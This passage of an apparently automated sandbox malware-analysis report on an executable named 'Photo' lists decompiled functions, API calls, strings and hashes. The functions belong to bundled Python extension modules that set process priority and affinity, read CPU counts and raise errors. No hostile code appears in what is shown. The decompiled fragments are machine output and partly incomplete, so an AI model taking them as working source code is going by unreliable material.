				 *((intOrPtr*)(_t11 + 0x3b)) =  *((intOrPtr*)(_t11 + 0x3b)) + __edx;
				_t9 = LoadLibraryA("ws2_32.dll");
				_t5 = GetProcAddress(_t9, "WSAAddressToStringW");
				 *0x27848a4 = _t5;
				if(_t5 == 0) {
					FreeLibrary(_t9);
					_t5 =  *0x27848a4; // 0x0
				}
				 *0x278489c = 1;
				return _t5;
			}

0x02781176
0x02781185
0x0278118d
0x02781193
0x0278119a
0x0278119d
0x027811a3
0x027811a3
0x027811a8
0x027811b3

APIs

LoadLibraryA.KERNEL32(ws2_32.dll), ref: 0278117F
GetProcAddress.KERNEL32(00000000,WSAAddressToStringW), ref: 0278118D
FreeLibrary.KERNEL32(00000000), ref: 0278119D

Strings

ws2_32.dll, xrefs: 0278117A
WSAAddressToStringW, xrefs: 02781187

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WSAAddressToStringW$ws2_32.dll
API String ID: 145871493-854454016
Opcode ID: 7d17e931ea3aeff7c5127c7310efc54add640d15cc460d9c900665cfa339b2eb
Instruction ID: d5da09e9bcbcecf7b58eef35a2ca4a22f37256e7024c4423e92e8606aa740c6d
Opcode Fuzzy Hash: 7d17e931ea3aeff7c5127c7310efc54add640d15cc460d9c900665cfa339b2eb
Instruction Fuzzy Hash: 5FE0C271CC06D2AFE710AB29FC2E69A3FE0AF04B127258882F801E5200E3F485558A52

Uniqueness

Uniqueness Score: -1.00%

Function 027811C1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E027811C1(void* __eax, void* __edx) {
				void* _t11;

				 *((intOrPtr*)(_t11 + 0x3b)) =  *((intOrPtr*)(_t11 + 0x3b)) + __edx;
			}

0x027811c6

APIs

LoadLibraryA.KERNEL32(ws2_32.dll), ref: 027811CF
GetProcAddress.KERNEL32(00000000,WSAAddressToStringA), ref: 027811DD
FreeLibrary.KERNEL32(00000000), ref: 027811ED

Strings

ws2_32.dll, xrefs: 027811CA
WSAAddressToStringA, xrefs: 027811D7

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WSAAddressToStringA$ws2_32.dll
API String ID: 145871493-3519588124
Opcode ID: faeb22a3cfee388b047163194a6e4a46abe2e973c6752253787a999e4f731f11
Instruction ID: e60a1bc3d19f82e4c56946ac4119edbcd20ab430cfa52faf4305568a87640804
Opcode Fuzzy Hash: faeb22a3cfee388b047163194a6e4a46abe2e973c6752253787a999e4f731f11
Instruction Fuzzy Hash: EEE0C271CC06D3AFE311BF28BC6A99A3FD0FB016417228882F801E1200E7F48455C652

Uniqueness

Uniqueness Score: -1.00%

Function 02765C00 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

6C423B4E.MSVCR90(00000000,0276253C,00000000,?,?,?,02765DCA,?,?,02765E23,?,02765F4A,0276253C,pir: GetExitCodeProcess() -> ERROR_ACCESS_DENIED,0276253C,?), ref: 02765C2B
EnumProcesses.PSAPI(00000000,-00001000,?,?), ref: 02765C43
PyErr_NoMemory.PYTHON27(?), ref: 02765C65

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C423EnumErr_MemoryProcesses
String ID:
API String ID: 2261440943-0
Opcode ID: 3840949b4747d00d1d7231871a0eb09bc8d5a6c4deca5a0d30aa8eaae4bd604d
Instruction ID: 879a6ecc591bfe862210a4b3523e0702685f521bd6fc76cf0620436dea577c68
Opcode Fuzzy Hash: 3840949b4747d00d1d7231871a0eb09bc8d5a6c4deca5a0d30aa8eaae4bd604d
Instruction Fuzzy Hash: AF012873A062155FD3209B59BC48AABF3D9EBC4666F54092AFE05C3100D731951493E6

Uniqueness

Uniqueness Score: -1.00%

Function 02761300 Relevance: 7.6, APIs: 5, Instructions: 50timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0276130A
__aulldiv.LIBCMT ref: 0276133D
GetTickCount.KERNEL32 ref: 0276135B
__aulldiv.LIBCMT ref: 0276136B
Py_BuildValue.PYTHON27(0276B0F8,00000000,?,00000000,00000000,000003E8,00000000,?,00989680,00000000,?,00000000,00000000,00000001), ref: 0276137B

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Time__aulldiv$BuildCountFileSystemTickValue
String ID:
API String ID: 2881610869-0
Opcode ID: 7b4f371c14707110e69dfd8df880b690cfacee1fb7103905e6316d0af0c4ce5e
Instruction ID: 58eefab707c161fc87d283121e4fbb89c29e66dfa7c4085bfd7b7747fb078115
Opcode Fuzzy Hash: 7b4f371c14707110e69dfd8df880b690cfacee1fb7103905e6316d0af0c4ce5e
Instruction Fuzzy Hash: BE01DB71B803107BE62063759C8DFA73A5D9BC4B55F144514FA09E72C0D970981486A1

Uniqueness

Uniqueness Score: -1.00%

Function 02763810 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E02763810(intOrPtr _a8) {
				long _v4;
				char _v8;
				void* _t6;
				int _t10;
				void* _t20;

				_t6 =  *0x2769308(_a8, "li",  &_v8,  &_v4);
				if(_t6 != 0) {
					_t20 = E027660C0(_v8, 0x600);
					if(_t20 == 0) {
						L5:
						return 0;
					} else {
						_t10 = SetPriorityClass(_t20, _v4);
						if(_t10 != 0) {
							CloseHandle(_t20);
							 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
							return  *0x27692c8;
						} else {
							 *0x27692b8(_t10);
							CloseHandle(_t20);
							goto L5;
						}
					}
				} else {
					return _t6;
				}
			}

0x02763827
0x02763832
0x02763847
0x0276384e
0x02763871
0x02763877
0x02763850
0x02763856
0x0276385e
0x02763879
0x02763884
0x0276388f
0x02763860
0x02763861
0x0276386b
0x00000000
0x0276386b
0x0276385e
0x02763837
0x02763837
0x02763837

APIs

PyArg_ParseTuple.PYTHON27(?,0276B580,?,?), ref: 02763827
SetPriorityClass.KERNEL32(00000000,?), ref: 02763856
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 02763861
CloseHandle.KERNEL32(00000000), ref: 0276386B

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ClassCloseErr_FromHandleParsePriorityTupleWindows
String ID:
API String ID: 3897049644-0
Opcode ID: a45caeaea477767d47ba2eed9f551eb38c18d7fdc18540413c311b48acd9f017
Instruction ID: 611ba47b5a85dc832403fea9cbc9efba397bd6b53dcc14b4a6cf0ea433fa0f16
Opcode Fuzzy Hash: a45caeaea477767d47ba2eed9f551eb38c18d7fdc18540413c311b48acd9f017
Instruction Fuzzy Hash: 93016775940211EFDB10AB64EC4D9EB37A8EF44606F448954FE45C2200F735D564CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 02763B00 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E02763B00(intOrPtr _a8) {
				long _v4;
				char _v8;
				void* _t6;
				int _t10;
				void* _t20;

				_t6 =  *0x2769308(_a8, "lk",  &_v8,  &_v4);
				if(_t6 != 0) {
					_t20 = E027660C0(_v8, 0x600);
					if(_t20 == 0) {
						L5:
						return 0;
					} else {
						_t10 = SetProcessAffinityMask(_t20, _v4);
						if(_t10 != 0) {
							CloseHandle(_t20);
							 *((intOrPtr*)( *0x27692c8)) =  *((intOrPtr*)( *0x27692c8)) + 1;
							return  *0x27692c8;
						} else {
							 *0x27692b8(_t10);
							CloseHandle(_t20);
							goto L5;
						}
					}
				} else {
					return _t6;
				}
			}

0x02763b17
0x02763b22
0x02763b37
0x02763b3e
0x02763b61
0x02763b67
0x02763b40
0x02763b46
0x02763b4e
0x02763b69
0x02763b74
0x02763b7f
0x02763b50
0x02763b51
0x02763b5b
0x00000000
0x02763b5b
0x02763b4e
0x02763b27
0x02763b27
0x02763b27

APIs

PyArg_ParseTuple.PYTHON27(?,0276B5DC,?,?), ref: 02763B17
SetProcessAffinityMask.KERNEL32(00000000,?), ref: 02763B46
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 02763B51
CloseHandle.KERNEL32(00000000), ref: 02763B5B

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: AffinityArg_CloseErr_FromHandleMaskParseProcessTupleWindows
String ID:
API String ID: 1573772585-0
Opcode ID: 18370015dbde55f27f01f6be99bb4d719beb7fea55070279c21e1f41d0b275d0
Instruction ID: 467831e12b12a0e178d7546219c71ad4d49e2ec1b90eb722a18355d118577cd4
Opcode Fuzzy Hash: 18370015dbde55f27f01f6be99bb4d719beb7fea55070279c21e1f41d0b275d0
Instruction Fuzzy Hash: 7B01A271940311EFDB00AB28EC4DDEB37A8EF45B06F448914FE09D2200E7359528CAA6

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A1BB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON27(00000000,00000000,00000000,00000000), ref: 1E7A1BF3
PyArg_ParseTupleAndKeywords.PYTHON27(00000000,00000000,lllO,1E7B928C,00000000,00000004,00000008,?), ref: 1E7A1C15
PyErr_SetString.PYTHON27(?,1E7AD788), ref: 1E7A1C44

Strings

lllO, xrefs: 1E7A1C0E

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_Err_KeywordsParseStringTupleTuple_
String ID: lllO
API String ID: 3950017715-1045617993
Opcode ID: f5f89ebe41beef2f32c1f3c17d1cabb9be9954199c96356579386fcbec7b5029
Instruction ID: 08d8effb5adb1004457c770861327b2e76babae03bf5db99f63565ed38fbf6b7
Opcode Fuzzy Hash: f5f89ebe41beef2f32c1f3c17d1cabb9be9954199c96356579386fcbec7b5029
Instruction Fuzzy Hash: DE218EF15043119FE310DF68EC80A97B7E9EF88264B188B2DE65AC7650E730E805CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02762C20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

6C423B4E.MSVCR90(?,?,00000000,?,00000001,00000000), ref: 02762C7C
PyErr_NoMemory.PYTHON27(?,00000000,?,00000001,00000000), ref: 02762C92
PyErr_SetFromWindowsErr.PYTHON27(00000000,?,00000000,?,00000001,00000000), ref: 02762CA3

Strings

N;Bl, xrefs: 02762C7C

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_$C423FromMemoryWindows
String ID: N;Bl
API String ID: 4237112144-4110088855
Opcode ID: 567534e2f7e7f6b9fb15a642d75a23b93907edab618f956103b54448b6ccd047
Instruction ID: 4817bac8c2f00dbe45f443668dd1a64605edd09572ab6b2353e10b49a8b90bc0
Opcode Fuzzy Hash: 567534e2f7e7f6b9fb15a642d75a23b93907edab618f956103b54448b6ccd047
Instruction Fuzzy Hash: 78110471941321AFEB305B28DC4DBABB7EAAF05B19F000461FD09EB281D775E8508B92

Uniqueness

Uniqueness Score: -1.00%

Function 02763B80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,0276B5E0,?), ref: 02763B92
6C423B4E.MSVCR90(00000000), ref: 02763BE9

Strings

N;Bl, xrefs: 02763BE9, 02763C06

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_C423ParseTuple
String ID: N;Bl
API String ID: 2276779172-4110088855
Opcode ID: 33bf7214e8706d4a2d7c6bf5d5c4e5fa4b5df9cf2f9c4b5ddad74ee9f759c50a
Instruction ID: 8c9f338495dea162183f1395389de7e0da4ace9112fdfdf4419601828576d587
Opcode Fuzzy Hash: 33bf7214e8706d4a2d7c6bf5d5c4e5fa4b5df9cf2f9c4b5ddad74ee9f759c50a
Instruction Fuzzy Hash: 2A11ACB4A40302DFD310DB24E889A3A77E6FB84708F588869ED4AC3201E736D925CA42

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A8020 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50timeCOMMON

Download Yara Rule

APIs

VariantTimeToSystemTime.OLEAUT32 ref: 1E7A8030
PyErr_SetString.PYTHON27(?,illegal time value,?), ref: 1E7A80C8

Strings

illegal internal value, xrefs: 1E7A803A
illegal time value, xrefs: 1E7A80BA

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Time$Err_StringSystemVariant
String ID: illegal internal value$illegal time value
API String ID: 734564000-2642589432
Opcode ID: 964756817cc6cb85c05dbbe89d63bd9126806e69b3753ecd44fdb19bbd25d8af
Instruction ID: f61d69b775cdebe565980329dd661b6306e7cfa33506af53998606bedb03edbc
Opcode Fuzzy Hash: 964756817cc6cb85c05dbbe89d63bd9126806e69b3753ecd44fdb19bbd25d8af
Instruction Fuzzy Hash: 0511B3B08083119FD344DF29D58412ABBE5BF88715F144B2EF4E9D22A0E335C658CB57

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A3E90 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,PyDEVMODE cannot be None in this context), ref: 1E7A3EC3
PyErr_SetString.PYTHON27(?,Object must be a PyDEVMODEW), ref: 1E7A3EE6

Strings

PyDEVMODE cannot be None in this context, xrefs: 1E7A3EBD
Object must be a PyDEVMODEW, xrefs: 1E7A3EE0

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_String
String ID: Object must be a PyDEVMODEW$PyDEVMODE cannot be None in this context
API String ID: 1450464846-2899910425
Opcode ID: 21e41cc0aa8f2f3e772c201b8eca5bceb9c031ded88e50f76fd1154524d610d9
Instruction ID: 0d056efd9ed13ab34f53a50e731a2c7b963b847f693507e6b8e3a92ce8ab4735
Opcode Fuzzy Hash: 21e41cc0aa8f2f3e772c201b8eca5bceb9c031ded88e50f76fd1154524d610d9
Instruction Fuzzy Hash: DE018F35518221DFE314DF28E880A96B3E5FBC8314F488A59FA9687760D3B1EC85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A37E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,PyDEVMODE cannot be None in this context), ref: 1E7A3813
PyErr_SetString.PYTHON27(?,Object must be a PyDEVMODE), ref: 1E7A3836

Strings

Object must be a PyDEVMODE, xrefs: 1E7A3830
PyDEVMODE cannot be None in this context, xrefs: 1E7A380D

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_String
String ID: Object must be a PyDEVMODE$PyDEVMODE cannot be None in this context
API String ID: 1450464846-2477746375
Opcode ID: 089bcdfcbc4c715e3bc217147319a0c13bfe898e8b0aa01acbc6ebb2447913e2
Instruction ID: 2bb3631950f2e647fb65eca4f9d3e7eaa7229254fc47ca11e80c8130b675704d
Opcode Fuzzy Hash: 089bcdfcbc4c715e3bc217147319a0c13bfe898e8b0aa01acbc6ebb2447913e2
Instruction Fuzzy Hash: E1018475514220DFE310DF28E884E9A77E5FBC8314F098A19F65687764D371E881CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A4400 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1E7A441E
?PyWinCoreString_FromString@@YAPAU_object@@PBDH@Z.PYWINTYPES27(?,000000FF,?,?), ref: 1E7A442B

Part of subcall function 1E7A8D50: PyString_FromStringAndSize.PYTHON27(000000FF,000000FF,?,1E7A9FDC,?,000000FF,00000000,?,6C423D3F), ref: 1E7A8D6E

PyObject_Print.PYTHON27(00000000,?,?,?,000000FF,?,?), ref: 1E7A4446

Strings

<%hs at %Id (%Id)>, xrefs: 1E7A4418

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: FromString_$CoreObject_PrintSizeStringString@@U_object@@wsprintf
String ID: <%hs at %Id (%Id)>
API String ID: 711216819-3200932714
Opcode ID: e425816edbd7d02f1cdcc2ed4a3d43bdca452798a5d951565fd94d3448bc8129
Instruction ID: e86a4feb11b32c17249f2d4142182bc1e985024cfd951d88e0efc2910224f2a2
Opcode Fuzzy Hash: e425816edbd7d02f1cdcc2ed4a3d43bdca452798a5d951565fd94d3448bc8129
Instruction Fuzzy Hash: C6F062755002116FE324DB68DC84ED7B3A9FF99324F144B08F5A983290D735E986CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A40F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

?PyWinObject_AsHANDLE@@YAHPAU_object@@PAPAX@Z.PYWINTYPES27(?,1E7B9C30), ref: 1E7A410D

Strings

CloseHandle, xrefs: 1E7A413A

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Object_U_object@@
String ID: CloseHandle
API String ID: 1576115637-2962429428
Opcode ID: d515525a59980dd4745b30429a4515627da6f293e74e9e358221e4e3c2f81418
Instruction ID: c74c4f745da5c23a9b40cb27c516a234e269fb0ec53848802019e691b7e39b0c
Opcode Fuzzy Hash: d515525a59980dd4745b30429a4515627da6f293e74e9e358221e4e3c2f81418
Instruction Fuzzy Hash: 8AF0827AA14211AFE700CB68FE4898A77D99BD4646F4D8768FA04C7224F332EC00CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02761290 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 027612AF
PyErr_SetString.PYTHON27(?,GetSystemInfo() failed to retrieve CPU count), ref: 027612E7

Strings

GetSystemInfo() failed to retrieve CPU count, xrefs: 027612E1
GetActiveProcessorCount() not available; using GetSystemInfo(), xrefs: 027612BC

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_$FromStringWindows
String ID: GetActiveProcessorCount() not available; using GetSystemInfo()$GetSystemInfo() failed to retrieve CPU count
API String ID: 3288110570-607474584
Opcode ID: 6437a4374cb31787a462fad0330c3cb92035932a518fa0eec322e69a4524154e
Instruction ID: 309d3fca320d4889bedf5395f8fd95adf635cf4dacea3ae737089d2a543d4fc5
Opcode Fuzzy Hash: 6437a4374cb31787a462fad0330c3cb92035932a518fa0eec322e69a4524154e
Instruction Fuzzy Hash: 17F05EB1F803629F9A709768A80C56B3B54AF46B99F488524ED09E7344C731D8648FD6

Uniqueness

Uniqueness Score: -1.00%

Function 1E7AA130 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,s#i,?,?), ref: 1E7AA14B
IsTextUnicode.ADVAPI32(?,?), ref: 1E7AA16A
Py_BuildValue.PYTHON27(1E7B11DC,00000000), ref: 1E7AA17A

Strings

s#i, xrefs: 1E7AA145

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Arg_BuildParseTextTupleUnicodeValue
String ID: s#i
API String ID: 2774509455-590455174
Opcode ID: 453fe5755126a118ebc95c7cab0a81264b077f3a151c5da22f9c40cc54f01f6b
Instruction ID: 36c3ec844df6c82846c36ea364573cd93661ce2a1d01448fcb93af4688642379
Opcode Fuzzy Hash: 453fe5755126a118ebc95c7cab0a81264b077f3a151c5da22f9c40cc54f01f6b
Instruction Fuzzy Hash: 7BF0FEB5414106AFE704DB54DC85D6B77EDEBD8604F444A1CF985C2210F6309A1CCB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A31E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 1E7A3206
??0PyACL@@QAE@HH@Z.PYWINTYPES27(?), ref: 1E7A322C

